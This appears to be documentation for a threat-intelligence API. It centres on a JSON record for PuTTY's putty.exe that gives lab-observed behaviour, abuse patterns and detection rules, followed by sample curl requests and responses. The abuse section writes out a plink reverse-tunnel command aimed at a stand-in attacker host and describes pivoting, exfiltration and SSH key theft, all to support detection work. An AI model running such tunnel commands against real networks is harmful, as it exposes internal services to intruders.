EchoTrail Insights API

{
  "process_name": "putty.exe",
  "description": "putty.exe (SSH, Telnet, Rlogin, and SUPDUP client) is part of PuTTY suite, by Simon Tatham. PuTTY is a client program for the SSH, Telnet, Rlogin, and SUPDUP network protocols. These protocols are all used to run a remote session on a computer, over a network. PuTTY implements the client end of that session: the end at which the session is displayed, rather than the end at which it runs.",
  "intel": {
    "normal_behavior": "PuTTY is an interactive SSH/Telnet/Rlogin/SUPDUP terminal client, typically launched by a user from Explorer, the Start Menu, or a shortcut, and it opens outbound TCP sessions to remote hosts (usually port 22). In the lab the MSI (putty-64bit-0.84-installer.msi) was installed silently via msiexec /i /qn spawned by powershell.exe, writing putty.exe, plink.exe, pscp.exe, psftp.exe, pageant.exe, puttygen.exe, putty.chm and LICENCE into C:\\Program Files\\PuTTY and registering the .ppk file association plus MSI product/upgrade keys under HKCR\\Installer. Each tool was then started once from cmd.exe with a valid 'Simon Tatham' signature; the console tools (plink, pscp, psftp) spawned conhost.exe, and putty.exe made a single outbound TCP connection to 140.82.112.3:22 after a DNS lookup of github.com when run as 'putty.exe -ssh -P 22 git@github.com'. No autoruns, services, or scheduled tasks were created; other observed network traffic (msedgewebview2, svchost, backgroundtaskhost, OneDrive updater) was unrelated Windows background activity.",
    "suspicious_indicators": "PuTTY-family binaries running from non-standard locations (%TEMP%, %APPDATA%, C:\\Users\\Public, ProgramData, network shares) or renamed (e.g. svchost.exe, chrome.exe) while retaining the 'PuTTY suite' version-info or Simon Tatham signature. Non-interactive parents such as powershell.exe, wscript.exe, cmd.exe from a service, WmiPrvSE.exe, msbuild, or an Office application spawning plink.exe/pscp.exe/psftp.exe. Command lines indicating tunneling or non-interactive automation: plink with -R/-L/-D port forwards, -N, -batch, -pw <cleartext password>, -i <key>.ppk, or 'plink -ssh user@host -pw ... cmd.exe'; pscp/psftp bulk transfers of archives to external IPs; SSH connections on non-standard ports (443, 2222, 80) to unfamiliar or hosting-provider IPs. Also suspicious: a modified/unsigned or oddly-signed putty.exe or plink.exe (trojanized PuTTY has been used in fake-recruiter campaigns), pageant.exe running unexpectedly on servers, puttygen.exe generating keys on a server, and mass reads of HKCU\\Software\\SimonTatham\\PuTTY\\Sessions or *.ppk files by a non-PuTTY process.",
    "abuse_patterns": "PuTTY's console components are a well-documented dual-use offensive toolkit. plink.exe is repeatedly used for SSH tunneling and pivoting - reverse tunnels ('plink -R 3389:127.0.0.1:3389 attacker@vps -pw pass -N') to expose internal RDP/SMB to the internet, dynamic SOCKS proxies (-D) for network traversal, and local forwards (-L) into segmented networks; this tradecraft is common in Iranian (OilRig/Cobalt Mirage), Chinese, and ransomware affiliate intrusions and is used for RDP-over-SSH persistence. pscp.exe and psftp.exe are used to stage tooling onto victims and to exfiltrate collected archives over encrypted SSH to attacker-controlled servers, bypassing HTTP-focused inspection. Attackers drop these binaries themselves (bring-your-own signed binary) into user-writable directories to blend in, sometimes renamed. Trojanized PuTTY builds have been distributed by DPRK-linked actors (UNC4034/Temp.Hermit 'Dangerous Password'/AIRDRY.V2 fake job-offer lures) and by SEO-poisoned/malvertised download sites, delivering backdoors or credential stealers; other campaigns backdoor PuTTY to capture and exfiltrate SSH credentials and private keys. Stored PuTTY session data and .ppk keys, and the pageant.exe agent, are common credential-theft targets: registry session keys leak hostnames/usernames/proxy passwords, and agent hijacking allows reuse of loaded keys for lateral movement.",
    "detection_guidance": "Baseline the legitimate install path (C:\\Program Files\\PuTTY) and signer, then alert on any putty/plink/pscp/psftp/pageant/puttygen image or PE with 'PuTTY suite' version-info executing outside it, or on hash/original-filename matches under a renamed image. Alert on plink command lines containing -R, -L, -D, -N, -pw, -batch, or -P with an unusual port, and on any of these tools with a non-interactive parent (PowerShell, WMI, service host, Office, scripting engines) or running under a service/SYSTEM account. Correlate process starts with outbound port 22/2222/443 connections to non-corporate or bulletproof-hosting ASNs, and flag long-lived sessions or off-hours connections from servers and workstations that have no SSH administration role. Hunt for non-PuTTY processes reading HKCU\\Software\\SimonTatham\\PuTTY\\Sessions/SshHostKeys or enumerating *.ppk, and verify Authenticode on all PuTTY binaries plus download provenance to catch trojanized or search-ad-delivered builds.",
    "false_positive_notes": "Extremely common among IT administrators and developers. Many organizations standardize on PuTTY for SSH access to Linux systems.",
    "mitre_techniques": [
      "T1572",
      "T1090.001",
      "T1090.002"
    ],
    "references": [
      "https://www.chiark.greenend.org.uk/~sgtatham/putty/",
      "https://www.chiark.greenend.org.uk/"
    ],
    "lab_filled_fields": [
      "normal_behavior",
      "suspicious_indicators",
      "abuse_patterns"
    ]
  },
  "classification": {
    "category": "Productivity",
    "publisher": "Simon Tatham",
    "is_lolbin": false,
    "risk_level": "medium",
    "expected_parent": "explorer.exe (user launch).",
    "related_processes": [
      "ssh.exe",
      "plink.exe",
      "pscp.exe"
    ],
    "lab_filled_fields": [
      "category",
      "publisher"
    ]
  },
  "executions": {
    "total": 4545
  },
  "parents": {
    "total": 4545,
    "top": [
      {
        "name": "explorer.exe",
        "count": 3713,
        "percentage": 81.6942
      },
      {
        "name": "putty.exe",
        "count": 628,
        "percentage": 13.8174
      },
      {
        "name": "runtimebroker.exe",
        "count": 62,
        "percentage": 1.3641
      }
    ]
  },
  "children": {
    "top": [
      {
        "name": "putty.exe",
        "count": 628
      }
    ]
  },
  "grandparents": {
    "top": [
      {
        "name": "userinit.exe",
        "count": 2683
      },
      {
        "name": "explorer.exe",
        "count": 347
      },
      {
        "name": "putty.exe",
        "count": 226
      }
    ]
  },
  "paths": {
    "total": 585,
    "top": [
      {
        "path": "C:\\Program Files\\PuTTY",
        "count": 364,
        "percentage": 62.2222,
        "windows_build": "Windows 11 Enterprise Evaluation 24H2 26100.9445",
        "observed_at": "2026-09-10T01:34:03.679371+00:00",
        "lab_count": 2
      },
      {
        "path": "C:\\Program Files (x86)\\PuTTY",
        "count": 118,
        "percentage": 20.1709
      },
      {
        "path": "C:\\Users\\...",
        "count": 85,
        "percentage": 14.5299
      }
    ]
  },
  "hashes": {
    "top": [
      {
        "sha256": "4119bec97bcf2a736f7769d22dc745d8a398a278bd403e53ec2dd2dd0217a6ae",
        "windows_build": "Windows 11 Enterprise Evaluation 24H2 26100.9445",
        "observed_at": "2026-09-10T01:34:03.679371+00:00",
        "lab_count": 2,
        "behavior": {
          "executions": 2,
          "hosts": 1,
          "paths": [
            "C:\\Program Files\\PuTTY"
          ],
          "first_seen": "2026-09-10T08:35:09.156000+00:00",
          "last_seen": "2026-09-10T08:35:13.397000+00:00"
        }
      }
    ]
  },
  "command_lines": [
    {
      "pattern": "\"C:\\Program Files\\PuTTY\\putty.exe\"",
      "count": 1,
      "example": "\"C:\\Program Files\\PuTTY\\putty.exe\"  ",
      "windows_build": "Windows 11 Enterprise Evaluation 24H2 26100.9445",
      "observed_at": "2026-09-10T01:34:03.679371+00:00"
    },
    {
      "pattern": "\"C:\\Program Files\\PuTTY\\putty.exe\" -ssh -P 22 git@github.com",
      "count": 1,
      "example": "\"C:\\Program Files\\PuTTY\\putty.exe\"  -ssh -P 22 git@github.com ",
      "windows_build": "Windows 11 Enterprise Evaluation 24H2 26100.9445",
      "observed_at": "2026-09-10T01:34:03.679371+00:00"
    }
  ],
  "dll_loads": [
    {
      "pattern": "C:\\Windows\\System32\\msvcrt.dll",
      "signer": "Microsoft Windows",
      "signature_status": "Valid",
      "unsigned": false,
      "system_path": true,
      "count": 4,
      "example": "C:\\Windows\\System32\\msvcrt.dll",
      "windows_build": "Windows 11 Enterprise Evaluation 24H2 26100.9445",
      "observed_at": "2026-09-10T01:34:03.679371+00:00"
    },
    {
      "pattern": "C:\\Windows\\WinSxS\\<hash>\\comctl32.dll",
      "signer": "Microsoft Windows",
      "signature_status": "Valid",
      "unsigned": false,
      "system_path": true,
      "count": 4,
      "example": "C:\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.9278_none_3e0d1ba8e3303201\\comctl32.dll",
      "windows_build": "Windows 11 Enterprise Evaluation 24H2 26100.9445",
      "observed_at": "2026-09-10T01:34:03.679371+00:00"
    },
    {
      "pattern": "C:\\Windows\\System32\\kernel32.dll",
      "signer": "Microsoft Windows",
      "signature_status": "Valid",
      "unsigned": false,
      "system_path": true,
      "count": 2,
      "example": "C:\\Windows\\System32\\kernel32.dll",
      "windows_build": "Windows 11 Enterprise Evaluation 24H2 26100.9445",
      "observed_at": "2026-09-10T01:34:03.679371+00:00"
    }
  ],
  "network": [
    {
      "dst": "140.82.112.3",
      "ip": "140.82.112.3",
      "port": 22,
      "proto": "tcp",
      "count": 1,
      "windows_build": "Windows 11 Enterprise Evaluation 24H2 26100.9445",
      "observed_at": "2026-09-10T01:34:03.679371+00:00"
    }
  ],
  "dns": [
    {
      "query": "github.com",
      "windows_build": "Windows 11 Enterprise Evaluation 24H2 26100.9445",
      "observed_at": "2026-09-10T01:34:03.679371+00:00",
      "count": 1
    }
  ],
  "registry_writes": [
    {
      "pattern": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters",
      "operation": "CreateKey",
      "noise": true,
      "count": 7,
      "example": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters",
      "windows_build": "Windows 11 Enterprise Evaluation 24H2 26100.9445",
      "observed_at": "2026-09-10T01:34:03.679371+00:00"
    },
    {
      "pattern": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Notifications\\Data",
      "value": "<hex>",
      "operation": "SetValue",
      "noise": true,
      "count": 6,
      "example": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Notifications\\Data",
      "windows_build": "Windows 11 Enterprise Evaluation 24H2 26100.9445",
      "observed_at": "2026-09-10T01:34:03.679371+00:00"
    },
    {
      "pattern": "HKLM\\System\\CurrentControlSet\\Services\\bam\\State\\UserSettings\\<sid>\\\\Device\\HarddiskVolume3\\Program Files\\PuTTY",
      "value": "putty.exe",
      "operation": "SetValue",
      "noise": true,
      "count": 2,
      "example": "HKLM\\System\\CurrentControlSet\\Services\\bam\\State\\UserSettings\\S-1-5-21-2242041204-3472126950-1025570065-1002\\\\Device\\HarddiskVolume3\\Program Files\\PuTTY",
      "windows_build": "Windows 11 Enterprise Evaluation 24H2 26100.9445",
      "observed_at": "2026-09-10T01:34:03.679371+00:00"
    }
  ],
  "file_writes": [
    {
      "pattern": "C:\\Users\\<user>\\AppData\\Local\\PUTTY.RND",
      "operation": "create",
      "noise": false,
      "count": 1,
      "example": "C:\\Users\\lab\\AppData\\Local\\PUTTY.RND",
      "windows_build": "Windows 11 Enterprise Evaluation 24H2 26100.9445",
      "observed_at": "2026-09-10T01:34:03.679371+00:00"
    },
    {
      "pattern": "C:\\Users\\<user>\\AppData\\Local\\PUTTY.RND",
      "operation": "delete",
      "noise": false,
      "count": 1,
      "example": "C:\\Users\\lab\\AppData\\Local\\PUTTY.RND",
      "windows_build": "Windows 11 Enterprise Evaluation 24H2 26100.9445",
      "observed_at": "2026-09-10T01:34:03.679371+00:00"
    }
  ],
  "lab_totals": {
    "command_lines": {
      "distinct": 2,
      "raw": 2
    },
    "dll_loads": {
      "distinct": 53,
      "raw": 89
    },
    "registry_writes": {
      "distinct": 3,
      "raw": 15
    },
    "file_writes": {
      "distinct": 2,
      "raw": 2
    },
    "network": {
      "distinct": 1,
      "raw": 1
    },
    "dns": {
      "distinct": 1,
      "raw": 1
    },
    "autoruns": {
      "distinct": 0,
      "raw": 0
    },
    "network_destinations": 1,
    "driver_loads": {
      "distinct": 0,
      "raw": 0
    },
    "pipes": {
      "distinct": 0,
      "raw": 0
    },
    "wmi": {
      "distinct": 0,
      "raw": 0
    },
    "remote_threads": {
      "distinct": 0,
      "raw": 0
    },
    "raw_access": {
      "distinct": 0,
      "raw": 0
    },
    "tampering": {
      "distinct": 0,
      "raw": 0
    },
    "process_access": {
      "distinct": 0,
      "raw": 0
    },
    "powershell": {
      "distinct": 0,
      "raw": 0
    },
    "security_events": {
      "distinct": 0,
      "raw": 0
    },
    "http": {
      "distinct": 0,
      "raw": 0
    },
    "tls": {
      "distinct": 0,
      "raw": 0
    }
  },
  "lab_runs": [
    {
      "run_id": 19,
      "windows_build": "Windows 11 Enterprise Evaluation 24H2 26100.9445",
      "observed_at": "2026-09-10T01:34:03.679371+00:00",
      "install_source": {
        "kind": "winget",
        "package": "PuTTY.PuTTY",
        "version": "0.84.0.0"
      },
      "installer_signer": "Simon Tatham",
      "installer_signature_status": "Valid",
      "install_status": "ok"
    }
  ],
  "lab": {
    "observed": true,
    "windows_build": "Windows 11 Enterprise Evaluation 24H2 26100.9445",
    "observed_at": "2026-09-10T01:34:03.679371+00:00",
    "runs": 1,
    "install_source": {
      "kind": "winget",
      "package": "PuTTY.PuTTY",
      "version": "0.84.0.0"
    },
    "publisher": "Simon Tatham",
    "signature_status": "Valid",
    "persistence": {
      "present": false,
      "by_kind": {}
    },
    "network": {
      "present": true,
      "destinations": 1
    },
    "counts": {
      "command_lines": {
        "distinct": 2,
        "raw": 2
      },
      "dll_loads": {
        "distinct": 53,
        "raw": 89
      },
      "registry_writes": {
        "distinct": 3,
        "raw": 15
      },
      "file_writes": {
        "distinct": 2,
        "raw": 2
      },
      "dns": {
        "distinct": 1,
        "raw": 1
      },
      "driver_loads": {
        "distinct": 0,
        "raw": 0
      },
      "pipes": {
        "distinct": 0,
        "raw": 0
      },
      "wmi": {
        "distinct": 0,
        "raw": 0
      },
      "remote_threads": {
        "distinct": 0,
        "raw": 0
      },
      "raw_access": {
        "distinct": 0,
        "raw": 0
      },
      "tampering": {
        "distinct": 0,
        "raw": 0
      },
      "process_access": {
        "distinct": 0,
        "raw": 0
      },
      "powershell": {
        "distinct": 0,
        "raw": 0
      },
      "security_events": {
        "distinct": 0,
        "raw": 0
      },
      "http": {
        "distinct": 0,
        "raw": 0
      },
      "tls": {
        "distinct": 0,
        "raw": 0
      }
    }
  },
  "description_source": "vendor",
  "packages": [
    {
      "package_id": "PuTTY.PuTTY",
      "role": "dropped",
      "version": "0.84.0.0",
      "publisher": "Simon Tatham",
      "source": "winget",
      "run_id": 19
    },
    {
      "package_id": "PuTTY.PuTTY",
      "role": "target",
      "version": "0.84.0.0",
      "publisher": "Simon Tatham",
      "source": "winget",
      "run_id": 19
    }
  ],
  "lab_observed_with": [
    "pageant.exe",
    "plink.exe",
    "pscp.exe"
  ]
}

curl -H "Authorization: Bearer YOUR_API_KEY" \
  https://api.echotrail.io/v1/process/svchost.exe

{
  "parent": "services.exe",
  "child": "svchost.exe",
  "observed": true,
  "verdict": "normal",
  "share_pct": 99.66,
  "full_record_available": true,
  "upgrade_url": "https://echotrail.io/pricing/"
}

curl -H "Authorization: Bearer YOUR_API_KEY" \
  "https://api.echotrail.io/v1/parent-child?parent=services.exe&child=svchost.exe"

{
  "grandparent": "services.exe",
  "parent": "svchost.exe",
  "child": "rundll32.exe",
  "link1": { "parent": "services.exe", "child": "svchost.exe", "observed": true, "percentage": 99.6556 },
  "link2": { "parent": "svchost.exe", "child": "rundll32.exe", "observed": true, "percentage": 46.4428 },
  "assessment": "expected"
}

curl -H "Authorization: Bearer YOUR_API_KEY" \
  "https://api.echotrail.io/v1/tree?grandparent=wininit.exe&parent=services.exe&child=svchost.exe"

{
  "process_name": "powershell.exe",
  "known": true,
  "score": 2.5,
  "assessment": "uncommon",
  "signals": [
    {
      "signal": "prevalence",
      "score": 0,
      "max_weight": 1.0
    },
    {
      "signal": "parent_child",
      "score": 2.5,
      "max_weight": 3.0
    },
    {
      "signal": "path",
      "score": 0,
      "max_weight": 2.0
    }
  ],
  "underlying_data": {
    "prevalence": {
      "process_name": "powershell.exe",
      "total_executions": 9261865
    },
    "parent_child": {
      "parent": "excel.exe",
      "child": "powershell.exe",
      "observed": true,
      "count": 8,
      "total_child_executions": 9261860,
      "percentage": 8.637573878249078e-05,
      "common_parents": [
        {
          "name": "cmd.exe",
          "count": 7185092
        },
        {
          "name": "jumpcloud-agent.exe",
          "count": 1283463
        },
        {
          "name": "platform-scripting-plugin.exe",
          "count": 211725
        }
      ]
    },
    "path": {
      "filename": "powershell.exe",
      "path": "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe",
      "observed": true,
      "count": 9086223,
      "total_executions": 9261865,
      "percentage": 98.10360008486411,
      "common_paths": [
        {
          "path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0",
          "count": 9086223
        },
        {
          "path": "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0",
          "count": 175610
        },
        {
          "path": "C:\\Windows\\syswow64\\WindowsPowerShell\\v1.0",
          "count": 32
        }
      ]
    }
  },
  "evidence": {
    "evaluated": [
      "prevalence",
      "parent_child",
      "path"
    ],
    "missing": [
      "grandparent_process",
      "command_line",
      "sha256"
    ],
    "ignored": []
  }
}

curl -X POST https://api.echotrail.io/v1/analyze \
  -H "Authorization: Bearer YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "process_name": "powershell.exe",
    "parent_process": "excel.exe",
    "file_path": "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe"
  }'

{
  "query": "remote administration tools",
  "results": [
    {
      "process_name": "repadmin.exe",
      "description": "Filename: repadmin.exe\nDescription: Active Directory Replication Administration tool - diagnoses and troublesh...",
      "similarity": 0.4562
    },
    {
      "process_name": "psexec.exe",
      "description": "Filename: psexec.exe\nDescription: psexec.exe is part of the SysInternals suite of tools developed by Microsoft...",
      "similarity": 0.4438
    }
  ],
  "count": 2
}

curl -H "Authorization: Bearer YOUR_API_KEY" \
  "https://api.echotrail.io/v1/search?q=remote%20administration%20tools&limit=5"

{
  "results": [
    {
      "process_name": "svchost.exe",
      "status": "found",
      "data": { ...the full /v1/process record for svchost.exe... }
    },
    {
      "process_name": "notarealprocess.exe",
      "status": "not_found",
      "data": null
    }
  ],
  "requested": 2,
  "found": 1,
  "not_found": 1
}

curl -X POST https://api.echotrail.io/v1/bulk/processes \
  -H "Authorization: Bearer YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"processes": ["svchost.exe", "lsass.exe", "csrss.exe"]}'

{
  "results": [
    {
      "hash": "4119bec97bcf2a736f7769d22dc745d8a398a278bd403e53ec2dd2dd0217a6ae",
      "status": "found",
      "data": {
        "sha256": "4119bec97bcf2a736f7769d22dc745d8a398a278bd403e53ec2dd2dd0217a6ae",
        "total_executions": 0,
        "filenames": [
          {
            "name": "putty.exe",
            "count": null,
            "lab_count": 2,
            "windows_build": "Windows 11 Enterprise Evaluation 24H2 26100.9445",
            "observed_at": "2026-09-10T01:34:03.679371+00:00"
          }
        ]
      }
    },
    {
      "hash": "b868487f8edbd0571d30d89573f087bfeac3da190652344afd351b1868ea0f8b",
      "status": "found",
      "data": {
        "sha256": "b868487f8edbd0571d30d89573f087bfeac3da190652344afd351b1868ea0f8b",
        "total_executions": 1885424,
        "filenames": [
          {
            "name": "svchost.exe",
            "count": 1885424
          }
        ]
      }
    }
  ],
  "requested": 2,
  "found": 2,
  "not_found": 0
}

curl -X POST https://api.echotrail.io/v1/bulk/hashes \
  -H "Authorization: Bearer YOUR_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"hashes": ["a1b2c3d4e5f6..."]}'

{
  "ok": true,
  "name": "updater_helper.exe",
  "registered": true,
  "note": "Interest in this name is registered for your organization."
}

curl -X POST -H "Authorization: Bearer YOUR_API_KEY" \
  https://api.echotrail.io/v1/notify/updater_helper.exe